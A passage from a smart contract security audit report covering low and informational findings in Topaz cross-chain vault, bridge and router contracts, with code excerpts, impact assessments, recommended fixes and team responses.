Seed the pool and mint its initial LP in one transaction through a bootstrap contract. That transaction should pull both complete dummy-token supplies, transfer them to the pool, call `mint(strategy)`, and verify the expected LP supply and strategy balance before returning.

Before registering the gauge and before `SystemGaugeStrategy.stake()`, assert that the strategy owns every circulating LP token apart from the pool's permanently locked minimum liquidity. Treat an unexpected LP supply or outside holder as a failed deployment that requires a new dummy-token pair and pool. A private transaction alone is not a sufficient invariant.

Team Response

Fixed.

L-01

LOW

ACKNOWLEDGED

quoteZap() Can Return a Stale Share Quote Because It Does Not Sync the Vault's Rebase

Description

XtopazZap.quoteZap() calls VAULT.convertToShares(topazOut) directly without first triggering (or accounting for) the vault's rebase sync. If the vault has an unsynced rebase pending, the quoted shares value can differ from what the actual zap execution would mint, since the real deposit path calls _syncRebase() first.

convertToShares() reflects the vault's current (possibly stale) exchange rate. The actual depositTopaz() /deposit path always calls _syncRebase() before computing shares, which can change totalAssets() /the exchange rate. Because quoteZap() is a view function, it cannot itself trigger the rebase sync, so any caller relying on quoteZap()'s shares output (e.g., for UI display or for computing a minSharesOut slippage bound in a subsequent zap call) may be quoted a value that will not match what is actually minted at execution time.

Location of Affected Code

File: [topaz-xchain/contracts/periphery/XTopazZap.sol#L73-L80](#)

```
function quoteZap(
    uint256 amountIn,
    IRouter.Route[] calldata routes
) external view returns (uint256 topazOut, uint256 shares) {
    uint256[] memory amounts = ROUTER.getAmountsOut(amountIn, routes);
    topazOut = amounts[amounts.length - 1];
    shares = VAULT.convertToShares(topazOut);
}
```

Impact

- Front-end/integrators that use quoteZap() to display expected shares or to derive a minSharesOut guard for the actual zap transaction may set an incorrect slippage bound, either causing legitimate transactions to revert unnecessarily or (if the bound is set too loosely) failing to protect the user from an unfavourable rate.
- This is a data-accuracy/UX issue rather than a direct fund-loss vector, since the real deposit path applies the correct, synced rate at execution time.

Recommendation

Create a function to call sync first before converting to shares so the value returned is synced and not stale.

Team Response

Acknowledged.

L-02

● LOW

FIXED

A Zero Rate Limit with a Non-Zero Window Is Silently Unlimited

Description

`DualRateLimiter` documents `{limit: 0, window: 0}` as the only unlimited configuration. In practice `_consume` returns early whenever the limit is zero, whatever the window, so `{limit: 0, window: 86400}` – which reads like a configured daily limit – is also unlimited. The complementary guard is correct (a non-zero limit with a zero window is rejected with `InvalidLimitWindow`), which makes the asymmetry easy to miss: an operator who sets a window but leaves the limit at zero gets no limit and no warning.

Location of Affected Code

File: [topaz-xchain/contracts/bridge/DualRateLimiter.sol#L73-L85](#)

```
function _consume(Limit storage entry, uint32 eid, bool outbound, uint256 amount) private {
    if (entry.limit == 0) return; // window is never consulted
    // code
}
function _available(Limit storage entry) private view returns (uint256) {
    if (entry.limit == 0) return type(uint256).max; // {0, 86400} reports unlimited
```

Impact

An operator misconfiguration yields an unlimited bridge direction with no revert or event. Bounded in practice by the adapter's fail-closed `supplyByEid` check, which independently caps any credit at what the spoke was actually sent – what is lost is the rate bound that would give the pauser time to react.

Recommendation

Reject `{limit: 0, window: non-zero}` the way the reverse case is already rejected, or correct the NatSpec so only `{0, 0}` is documented as unlimited.

Team Response

Fixed.

I-01

● INFO

ACKNOWLEDGED

`send()` 's Embedded Exchange Rate Is Recomputed
Live Rather Than Snapshotted at `finalize()`

Description

`EpochCoordinator.send()` builds its `composeMsg` using the vault's *current accounting state* at the moment `send` executes:

```
function _sendParam(uint256 epoch, uint32 eid, uint256 amount) internal view returns (SendParam memory) {
    return
        SendParam({
            dstEid: eid,
            to: chains[eid].composer,
            amountLD: amount,
            minAmountLD: amount,
            extraOptions: "",
            composeMsg: BudgetMsgCodec.encode(epoch, amount, VAULT.convertToAssets(1e18)),
            oftCmd: ""
        });
}
```

However, `VAULT.convertToAssets(1e18)` is only a view calculation over the vault's **currently recorded** `totalAssets()` and `totalShares()`. It does **not** synchronize pending vault assets before calculating the rate.

In particular, `VeTopazVault` can have TOPAZ sitting as a loose balance that has not yet been incorporated into `totalAssets()`. That balance is only swept and locked when a state-changing function subsequently executes `_syncRebase()` → `_lockLoose()`:

```
function _lockLoose() internal returns (uint256 amount) {
    amount = TOPAZ.balanceOf(address(this));
    if (amount == 0) return 0;
    _lockIntoAggregate(amount);
    emit DonationLocked(amount);
    _emitRate();
}
```

Consequently, the rate embedded by `send()` can itself be stale. For example, if `claimSystemRewards()` has caused TOPAZ-denominated bribes to arrive in the vault, those tokens can remain as loose TOPAZ until a later `_syncRebase()` call. A `send()` executed during this interval reads the pre-sync exchange rate, even though the vault already holds additional assets that will increase `totalAssets()` once the loose balance is synchronized.

This creates two separate timing problems:

1. **The rate is not tied to `finalize()`.** `finalize()` calculates and fixes the epoch's `budgetShares`, while each later `send(epoch, eid)` independently reads `VAULT.convertToAssets(1e18)`. Therefore, different spokes can receive different rates for the same epoch depending on when their individual `send()` calls execute.
2. **The rate is not necessarily synchronized even at `send()` time.** `convertToAssets()` does not trigger the vault's synchronization logic. A loose-TOPAZ balance may therefore exist immediately before `send()` without being reflected in the reported exchange rate. If a subsequent vault operation calls `_syncRebase()` and `_lockLoose()`, the vault's exchange rate can change immediately after the `send()` transaction, meaning the rate reported for that delivery no longer represents the vault's synchronized exchange rate.

Thus, the field is not a reliable snapshot of either **the rate that priced the epoch at `finalize()`** or **the fully synchronized vault rate at the time the budget was sent**. It is simply the rate obtained from whatever accounting state happened to be visible to `convertToAssets(1e18)` when `send()` executed.

Traced across every consumer of this value in both repositories, **nothing on-chain ever reads it for a pricing, minting, or accounting decision** – it is decoded once by `SpokeBudgetComposer`, forwarded into `SpokeEmissionReceiver.fund`, stored in a public variable, and re-emitted.

`SpokeEmissionReceiver.updatePeriod()` – the function that actually moves value to the spoke's `Voter` – operates on `pending()` (the receiver's real xTOPAZ balance), never on `exchangeRate`.

Location of Affected Code

File: [topaz-xchain/contracts/hub/EpochCoordinator.sol#L228-L239](#)

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L331-L355](#)

Impact

This is a **data-integrity and telemetry issue rather than a fund-loss or accounting issue**: the reported exchange rate can be inconsistent with the rate that actually priced the epoch, and can also become stale relative to the vault's subsequently synchronized state. Different spokes can receive different rates for the same epoch depending on when their individual `send()` calls execute. No on-chain pricing, minting or accounting decision consumes the value, so the impact is confined to indexers, dashboards and integrators that read the reported rate.

Recommendation

Snapshot the rate once, at `finalize()` time, alongside the other per-epoch figures already stored in `EpochData` (`budgetTopaz`, `budgetShares`, etc.), and have `send()` / `_sendParam()` read the stored value instead of recomputing it live:

```
struct EpochData {
    uint256 canonicalSupply;
    uint256 assignedSupply;
    uint256 budgetTopaz;
    uint256 budgetShares;
    uint256 mintedShares;
    uint256 exchangeRate; // new: VAULT.convertToAssets(1e18) captured once, at finalize()
    bool finalized;
}
```

```
// in finalize():
data.exchangeRate = VAULT.convertToAssets(1e18);
```

```
// in _sendParam(), replace the live call:
composeMsg: BudgetMsgCodec.encode(epoch, amount, epochs[epoch].exchangeRate)
```

This makes every spoke's delivery for a given epoch report the same, correct-at-finalize-time rate regardless of how long `send` is delayed or how spread out the per-spoke `send` calls are, at the cost of one extra `SSTORE` per epoch in `finalize()` – cheap, and consistent with how every other epoch-level figure here is already handled (computed once, stored, reused).

Team Response

Acknowledged.

I-02

● INFO

ACKNOWLEDGED

`depositTopaz()` **Lacks a Minimum-Shares-Out Slippage Check**

Description

A user calling `depositTopaz()` has no way to guarantee a minimum number of shares will be minted for their TOPAZ. If the exchange rate moves unfavourably between transaction submission and execution (e.g., due to a preceding rebase sync or another deposit), the user could receive fewer shares than expected for the same amount of TOPAZ deposited, with no recourse or revert protection beyond the `shares == 0` check.

`depositTopaz()` computes `shares = convertToShares(amount)` after syncing the rebase, and only reverts if the result is exactly zero. There is no `minSharesOut` parameter that callers can supply to bound acceptable slippage.

Location of Affected Code

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L144-L160](#)

```
function depositTopaz(
    uint256 amount,
    address receiver
) external nonReentrant whenInitialized returns (uint256 shares) {
    if (!canEnter()) revert EntryClosed();
    if (amount == 0) revert ZeroAmount();
    if (receiver == address(0)) revert ZeroAddress();
    _syncRebase();
    shares = convertToShares(amount);
    if (shares == 0) revert ZeroShares();
    TOPAZ.safeTransferFrom(msg.sender, address(this), amount);
    _lockIntoAggregate(amount);
    XTOPAZ.mint(receiver, shares);
    _syncVoteWeight();
    emit Deposited(msg.sender, receiver, amount, shares);
    _emitRate();
}
```

The same gap exists in `WrapRouter.depositTopaz()` / `depositTopazWithPermit()`, which forward directly into the vault's deposit path without any caller-supplied minimum:

File: [topaz-xchain/contracts/periphery/WrapRouter.sol#L80-L96](#)

```
function depositTopaz(uint256 amount, address receiver) external nonReentrant returns (uint256 shares) {
    TOPAZ.safeTransferFrom(msg.sender, address(this), amount);
    shares = _deposit(amount, receiver);
}

function depositTopazWithPermit(
    uint256 amount,
    address receiver,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
) external nonReentrant returns (uint256 shares) {
    _permit(amount, deadline, v, r, s);
    TOPAZ.safeTransferFrom(msg.sender, address(this), amount);
    shares = _deposit(amount, receiver);
}
```

Impact

- A user's deposit transaction can execute at a different exchange rate than they expected (e.g., due to a rebase sync or a preceding transaction shifting `totalAssets()` / `totalSupply`), silently minting fewer shares than intended.
- While the loss per transaction is likely bounded and not a critical loss of funds, it removes a standard user-protection guarantee and could compound for large or frequent depositors.

Recommendation

Add an optional `minSharesOut` parameter to `depositTopaz()` (and thread it through `WrapRouter.depositTopaz()` / `depositTopazWithPermit()`) that reverts if the computed `shares` falls below the caller-specified minimum, consistent with standard slippage-protected deposit patterns.

Team Response

Acknowledged.

I-03

● INFO

ACKNOWLEDGED

Tokens Sent to the Router or Zap by Mistake Are Lost Forever

Description

Both periphery contracts are stateless: every path pulls exactly what a call needs (an explicit amount or a balance delta), forwards it, and ends each transaction holding nothing. Neither `WrapRouter` nor `XTopazZap` has a rescue, sweep or withdraw function. Tokens that arrive by any means other than a pull (a mis-pasted transfer, an approval flow gone wrong) are invisible to the contracts and can never be moved out.

Location of Affected Code

File: [topaz-xchain/contracts/periphery/WrapRouter.sol](https://github.com/0x00/topaz-xchain/contracts/periphery/WrapRouter.sol)

File: [topaz-xchain/contracts/periphery/XTopazZap.sol](https://github.com/0x00/topaz-xchain/contracts/periphery/XTopazZap.sol)

- no recovery function in the contracts

Impact

Permanent loss of any tokens sent by mistake. There is no theft vector, the funds simply become unreachable.

Recommendation

Add an owner-only rescue to both contracts. Neither holds balances of its own between transactions, so a rescue endangers nothing – it can only return mistaken transfers.

Team Response

Acknowledged.

I-04

● INFO

ACKNOWLEDGED

Anyone Can Flood an Account with Staking Positions, Degrading Its Interface Views

Description

`stakeFor(account, amount)` lets anyone open a staking position owned by someone else. This is how bridge-and-stake delivers funds, and the design requires it to always open a new position. Every position is appended to the recipient's list with no cap, and closing a position does not remove its entry:

```
_positionsOf[account].push(id);
```

`minimumStake` (1 xTOPAZ by default) raises the cost of spamming but does not bound it.

`stakedBalance(account)` iterates the entire list, so a third party can grow the gas cost of a victim's views linearly at will. No state-changing path iterates the list, so this cannot block the victim's own on-chain actions – the damage is to interfaces and integrators that call the views.

Location of Affected Code

File: [topaz-spoke-contracts/contracts/XTopazVotingVault.sol](https://github.com/0x00/contracts/blob/master/XTopazVotingVault.sol)

- [`_open()` – the push], :L110-L117 [`stakedBalance` iterates], :L106-L108 [`positionsOf()`].

Impact

`stakedBalance()` and `positionsOf()` become expensive or unusable for a targeted account: measured ~4,760 gas per forced position (7,664 fresh → 126,689 at 25 positions), linear in the attacker's spend. No funds at risk; no on-chain denial of service.

Recommendation

Cap positions per account, or have `stakeFor` write into a separate pending list the recipient claims from, so a third party cannot grow the account's primary list. At minimum, make the interface views $O(1)$ (maintain a running `staked[account]` total updated at stake/unstake) so the spam only affects the enumerable view.

Team Response

Acknowledged.

I-05

● INFO

ACKNOWLEDGED

A veNFT Transferred Directly to the Vault Is Lost Forever

Description

Wrapping a veNFT is a two-step flow: approve the vault, then call `wrapVe`. A user who instead transfers the NFT straight to the vault receives no shares, but the vault accepts it anyway:

```
function onERC721Received(address,address,uint256,bytes calldata) external pure returns (bytes4) {  
    return IERC721Receiver.onERC721Received.selector; // accepts anything  
}
```

`sweep()` handles only ERC20s (and explicitly rejects TOPAZ/xTOPAZ), there is no ERC721 recovery path, and the vault is non-upgradeable. The callback must exist so `redeem()`'s outgoing split NFT transfer and the wrap pull work, but it never distinguishes transfers the vault initiated from unsolicited ones. A direct transfer is the "obvious" action for someone unfamiliar with the approve-then-wrap flow, and a veNFT can be worth a large locked position.

Location of Affected Code

File: [topaz-xchain/contracts/hub/VeTopazVault.sol](https://github.com/shieldify/topaz-xchain/contracts/hub/VeTopazVault.sol)

- [`onERC721Received()` accepts everything]; `:L312-L319` [`sweep()` - ERC20 only].

Impact

Permanent loss of a position that can be worth a large amount; adds nothing to backing (the NFT is never merged) and mints nothing.

Recommendation

Reject unsolicited transfers by returning a non-matching selector from `onERC721Received` unless the transfer was vault-initiated (wrap pull / redeem split), turning a permanent loss into a reverted transaction. If accepting them is preferred, add an owner-only ERC721 rescue that refuses `aggregateTokenId`.

Team Response

Acknowledged.

I-06

● INFO

FIXED

A Dirty 32-Byte Compose Recipient Bypasses Fallback Handling

Description

`ComposerBase._fallbackTo()` treats any 32-byte payload as an ABI-encoded address. Solidity's decoder rejects a word whose upper 96 bits are not zero, so a left-aligned or otherwise dirty 32-byte recipient reverts inside the decode. That happens before the composer reaches its `try/catch`, so the fallback delivery path never runs and the whole `IzCompose` reverts.

The malformed word comes from the sender's own compose payload. No third party can inject it into someone else's transfer.

Location of Affected Code

File: [topaz-xchain/contracts/bridge/ComposerBase.sol#L69-L75](#)

```
function _fallbackTo(bytes32 composeFrom, bytes memory payload) internal pure returns (address) {
    if (payload.length == 32) {
        address decoded = abi.decode(payload, [address]);
        if (decoded != address(0)) return decoded;
    }
    return OFTComposeMsgCodec.bytes32ToAddress(composeFrom);
}
```

A payload that is not 32 bytes falls back cleanly. Exactly 32 bytes with dirty upper bits reverts.

Impact

The compose retry fails deterministically for that message and the credited xTOPAZ stays in the composer. Recovery is the owner's `rescue`. Self-inflicted by the sender, no attacker path, no loss to other users.

Recommendation

Check the upper 96 bits before converting, and route an invalid word to the same non-reverting fallback as a wrong-length payload:

```
if (payload.length == 32) {  
  uint256 word = uint256(bytes32(payload));  
  if (word >> 160 == 0 && word != 0) return address(uint160(word));  
}  
return OFTComposeMsgCodec.bytes32ToAddress(composeFrom);
```

Team Response

Fixed.

I-07

● INFO

ACKNOWLEDGED

Sub-Packet Spoke-Budget Remainders Require Owner Reconciliation

Description

Chain budgets are stored at 18-decimal precision, but `sendable()` floors the amount to whole OFT packets. No in-scope contract overrides `sharedDecimals()`, so the OFT default of 6 against 18 local decimals gives a `decimalConversionRate()` of `1e12`. A budget below one packet floors to zero, `send()` reverts with `NothingToSend`, and the remainder is not carried into any later epoch.

Location of Affected Code

File: [topaz-xchain/contracts/hub/EpochCoordinator.sol#L80-L87](#)

```
function sendable(uint256 epoch, uint32 eid) public view returns (uint256) {  
  if (!epochs[epoch].finalized || !chains[eid].enabled) return 0;  
  uint256 remaining = chainBudget[epoch][eid] - sent[epoch][eid];  
  uint256 available = balance();  
  uint256 amount = remaining < available ? remaining : available;  
  uint256 conversionRate = adapter.decimalConversionRate();  
  return (amount / conversionRate) * conversionRate;  
}
```

File: [topaz-xchain/contracts/hub/EpochCoordinator.sol#L221-L222](#)

- the budget itself is assigned without the same rounding:

```
function _assignBudgets(uint256 epoch, uint256 budgetShares, uint256 canonical) internal returns (uint256 minted) {
    // code
    uint256 budget = canonical == 0 ? 0 : (budgetShares * supply) / canonical;
    chainBudget[epoch][eid] = budget;
    // code
}
```

Impact

Bounded and small: strictly under `1e12` wei, that is under `0.000001` xTOPAZ, per epoch per spoke. Because budgets are tracked per epoch, a remainder never joins a later epoch's sendable amount. The shares stay minted on the coordinator and count against its balance, so `xTopaz.balanceOf(coordinator) == sum(chainBudget - sent)` drifts from what can actually be delivered. Nothing is stolen and the owner can reconcile with `withdraw()`.

Recommendation

Round each chain budget down to `decimalConversionRate()` when the budget is assigned. Store the rounded value in `chainBudget`, mint only the sum of those rounded budgets to the coordinator and leave the remainder as hub backing.

This keeps every recorded budget deliverable and preserves the equality between coordinator inventory and outstanding spoke obligations. A cross-epoch carry needs separate rules for which epoch and supply snapshot own the remainder, so it should not be introduced for sub-packet dust.

Team Response

Acknowledged.

I-08

● INFO

FIXED

Router-Mediated Fallback Can Create an Unrecoverable Router-Owned Position

Description

When a bridge is initiated through `WrapRouter` or `XTopazZap`, the router is the OFT sender, so `composeFrom()` on the destination is the router's address. If the compose payload is not exactly 32 bytes, `ComposerBase_fallbackTo()` returns `composeFrom`. `SpokeStakeComposer` then stakes the delivered xTOPAZ into a position owned by the router.

Neither router can call `unstake`, and neither has an owner-controlled recovery function.

`BridgeHelper` is a plain `abstract contract` with no `Ownable` inheritance and no `rescue`, so the position stays there.

Location of Affected Code

File: [topaz-xchain/contracts/bridge/ComposerBase.sol#L69-L75](#)

- the fallback target:

```
function _fallbackTo(bytes32 composeFrom, bytes memory payload) internal pure returns (address) {
    if (payload.length == 32) {
        address decoded = abi.decode(payload, (address));
        if (decoded != address(0)) return decoded;
    }
    return OFTComposeMsgCodec.bytes32ToAddress(composeFrom);
}
```

File: [topaz-xchain/contracts/bridge/SpokeStakeComposer.sol#L32-L48](#)

- the delivery that opens the position:

```
function _compose( bytes32 guid, uint32, bytes32 composeFrom, uint256 amount, bytes memory payload ) internal
override {
    address account = _fallbackTo(composeFrom, payload);
    XTOPAZ.forceApprove(address(VOTING_VAULT), amount);
    try VOTING_VAULT.stakeFor(account, amount) returns (uint256 positionId) {
        emit Staked(guid, account, positionId, amount);
    } catch (bytes memory reason) {
        XTOPAZ.forceApprove(address(VOTING_VAULT), 0);
        XTOPAZ.safeTransfer(account, amount);
        emit FallbackDelivered(guid, account, amount, reason);
    }
}
```

- `topaz-xchain/contracts/periphery/BridgeHelper.sol:67` sends from the router itself, so the router is `composeFrom` for every mediated path.
- `topaz-xchain/contracts/periphery/WrapRouter.sol:64-118` covers `wrapVeAndBridge`, `depositTopazAndBridge` and `bridge`.
- `XTopazZap.zapAndBridge` does the same. `topaz-xchain/contracts/periphery/BridgeHelper.sol:14` declares the base contract without `Ownable`.

Impact

The full bridged amount ends up in a position owned by an ownerless contract. The sender or an integrator building the payload makes the mistake; no attacker can choose another user's payload. Composer `rescue` does not help, because the tokens have already left the composer and entered the vault.

Recommendation

Remove caller-supplied compose bytes from the official router and Zap interfaces. Accept the destination recipient as an address and build one canonical 32-byte word inside the contract. Reject zero recipients before taking funds.

The destination can then use that encoded address for both the intended stake and any token fallback. A recovery function on the BNB router is not sufficient because the stranded position exists on the spoke and may be owned by an address with no contract deployed there. Tests should cover every mediated entry point and assert that malformed payloads cannot leave BNB.

Team Response

Fixed.



● INFO

FIXED

Empty Compose Messages Require Owner Recovery

Description

A sender can address a transfer to a composer contract and supply an empty `composeMsg`. LayerZero then delivers the tokens without queuing any compose call, so the intended unwrap or stake never runs and the tokens sit in the composer until the owner calls `rescue`.

The delivery path is decided by the payload length, not by the sender. `OFTMsgCodec` sets `hasCompose = composeMsg.length > 0` at `node_modules/@layerzerolabs/oft-evm/contracts/libs/OFTMsgCodec.sol:23`, and `OFTCore_buildMsgAndOptions` then selects `msgType = hasCompose ? SEND_AND_CALL : SEND` at `node_modules/@layerzerolabs/oft-evm/contracts/OFTCore.sol:245`. An empty `composeMsg` is therefore downgraded to a plain `SEND` addressed to the composer contract. `isComposed()` is false on receipt and no compose call is ever queued, which is why the composer never runs and never reverts.

This needs a sender or integrator mistake. A third party cannot make a correct sender emit an empty payload.

Location of Affected Code

File: [topaz-xchain/contracts/bridge/ComposerBase.sol#L43-L59](#)

- The composer only ever acts when the endpoint delivers a compose message; nothing reacts to a credit that arrives without one:

```
function lzCompose(  
    address from,
```

```

bytes32 guid,
bytes calldata message,
address,
bytes calldata
) external payable override {
    if (msg.sender != ENDPOINT) revert NotEndpoint();
    if (from != OAPP) revert NotOApp();
    _compose(
        guid,
        OFTComposeMsgCodec.srcEid(message),
        OFTComposeMsgCodec.composeFrom(message),
        OFTComposeMsgCodec.amountLD(message),
        OFTComposeMsgCodec.composeMsg(message)
    );
}

```

File: [topaz-xchain/contracts/periphery/WrapRouter.sol](#)

:69, :102 and :114 pass `composeMsg` straight through with no length check.

Impact

The sender's funds stay unavailable until multisig recovery. This is an operational and user-experience risk with no adversarial path.

Recommendation

Validate the complete compose schema before bridging. The official router and Zap paths should take an explicit recipient, encode the canonical 32-byte payload themselves and reject zero recipients. An empty payload should use a plain OFT transfer to the user, not a composer address.

Checking only that the payload is non-empty leaves the one-byte and dirty-word cases described in I-06 and I-08. Use the same validation and encoding helper for all mediated bridge entry points, and keep owner rescue for unexpected endpoint failures.

Team Response

Fixed.

VeTopazVault.setStrategy() Accepts the Zero Address

Description

`VeTopazVault.setStrategy` accepts `address(0)`. The coordinator validates its own strategy address; the vault does not. A zero strategy stops settlement from running and can leave redemption closed while the aggregate is still voted, until the owner sets the intended address again.

Only the owner can reach this state, and the owner can reverse it. No unprivileged caller has a path to it.

Location of Affected Code

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L289-L292](https://github.com/0xve/topaz-xchain/contracts/hub/VeTopazVault.sol#L289-L292)

```
function setStrategy(address strategy_) external onlyOwner {
    strategy = strategy_;
    emit StrategySet(strategy_);
}
```

Impact

An owner typo pauses settlement until it is corrected. No funds move and nothing is lost.

Recommendation

Reject the zero address, matching the check the coordinator already performs at [topaz-xchain/contracts/hub/EpochCoordinator.sol:180](https://github.com/0xve/topaz-xchain/contracts/hub/EpochCoordinator.sol#L180):

```
function setStrategy(address strategy_) external onlyOwner {
    if (strategy_ == address(0)) revert ZeroAddress();
    strategy = strategy_;
    emit StrategySet(strategy_);
}
```

Team Response

Fixed.

Gauge-Claimed Emissions Are Not Separated from the Total Amount Locked

Description

`SystemGaugeStrategy.claimEmissions()` returns the strategy's whole TOPAZ balance after calling `getReward()`, not the amount the gauge just paid. The coordinator stores that number as `budgetTopaz()` and locks the same amount. Under normal operation the two are equal. If TOPAZ was donated to the strategy, or left over from a `migrate()`, `budgetTopaz()` is larger than what the gauge actually notified.

The accounting stays consistent, because the full returned balance is what gets locked. The reporting does not: a value labelled as the week's gauge emission also contains donations.

Location of Affected Code

File: [topaz-xchain/contracts/hub/SystemGaugeStrategy.sol#L99-L104](#)

```
function claimEmissions() external nonReentrant onlyCoordinator returns (uint256 claimed) {
    if (systemGauge == address(0)) revert NotStaked();
    ISystemGauge(systemGauge).getReward(address(this));
    claimed = TOPAZ.balanceOf(address(this));
    emit EmissionsClaimed(EpochLib.epochStart(block.timestamp), claimed);
}
```

File: [topaz-xchain/contracts/hub/EpochCoordinator.sol](#)

- `:114` and `:124` store it as the epoch's emission figure.

Impact

Indexers and dashboards overstate gauge-originated emissions by the donated amount. No TOPAZ is lost and spoke allocation still uses the amount actually locked.

Recommendation

Report two values instead of one: `gaugeClaimed`, the balance increase caused by `getReward()`, and `totalLocked`, the full amount transferred and locked. Keep locking `totalLocked`. Switching the locked amount to the notified figure alone would leave donated TOPAZ stranded in the strategy.

Team Response

Acknowledged.

Direct Transfers to VeTopazVault Can Trap xTOPAZ and veNFTs**Description**

Two user-error paths put assets into `VeTopazVault` outside its accounting.

xTOPAZ sent directly to the vault is not credited to anyone. `redeem()` pulls shares from `msg.sender` before burning, so the sender no longer holds what the call needs, and `sweep()` refuses TOPAZ and xTOPAZ by design, so the owner cannot return them either. Passing the vault itself as `receiver` to `depositTopaz` or `wrapVe` reaches the same state.

A veNFT sent with `safeTransferFrom` is accepted by `onERC721Received` without being merged into the aggregate. `wrapVe()` then fails for the former owner, who is no longer the owner or an approved operator, and the vault exposes no ERC-721 recovery. The intended wrap path uses `transferFrom` at `topaz-xchain/contracts/hub/VeTopazVault.sol:187`, so the permissive receiver hook is not needed for normal operation.

Only the person sending the asset can trigger either path.

Location of Affected Code

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L209-L210](#)

- `redeem` pulls before burning:

```
function redeem(uint256 shares, address receiver) external nonReentrant returns (uint256 tokenId, uint256 assets) {
    // code
    IERC20(address(XTOPAZ)).safeTransferFrom(msg.sender, address(this), shares);
    XTOPAZ.burn(shares);
    // code
}
```

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L312-L313](#)

- the recovery path excludes both tokens:

```
function sweep(address token, address to) external onlyOwner {
    if (token == address(TOPAZ) || token == address(XTOPAZ)) revert InvalidToken();
    // code
}
```

File: [topaz-xchain/contracts/hub/VeTopazVault.sol#L320-L322](#)

- every safe transfer is accepted:

```
function onERC721Received(address,address,uint256,bytes calldata) external pure returns (bytes4) {  
    return IERC721Receiver.onERC721Received.selector;  
}
```

Impact

The sender loses the whole asset they sent. Nobody else is affected, protocol backing is unchanged, and no attacker can trigger it for another account. `totalAssets()` reads only `aggregateTokenId`, so a stranded veNFT does not enter share pricing.

Recommendation

Handle the ERC-20 and ERC-721 paths separately.

For xTOPAZ, reject `receiver == address(this)` in `depositTopaz()` and `wrapVe()`. Also restrict inbound xTOPAZ transfers: a transfer whose destination is the vault should succeed only when the vault initiated it. That preserves the pull performed by `redeem()` and the seed mint while rejecting direct `transfer`, third-party `transferFrom` and entry minting to the vault. Test all four cases before deployment. Sweeping the full vault balance is unsafe because it includes the permanent seed shares.

For veTOPAZ, revert from `onERC721Received()` so unsolicited safe transfers bounce. The current wrap flow uses `transferFrom()` and is unaffected. Raw ERC-721 `transferFrom()` cannot invoke the receiver hook, so add a narrow owner recovery for veNFT IDs other than `aggregateTokenId`. The recovery must never move or approve the aggregate NFT.

Team Response

Acknowledged.



Your security partner, for the long term

[SHIELDIFY.ORG](https://shieldify.org) · [X.COM/SHIELDIFYSEC](https://x.com/shieldifysec) · [LINKEDIN](#)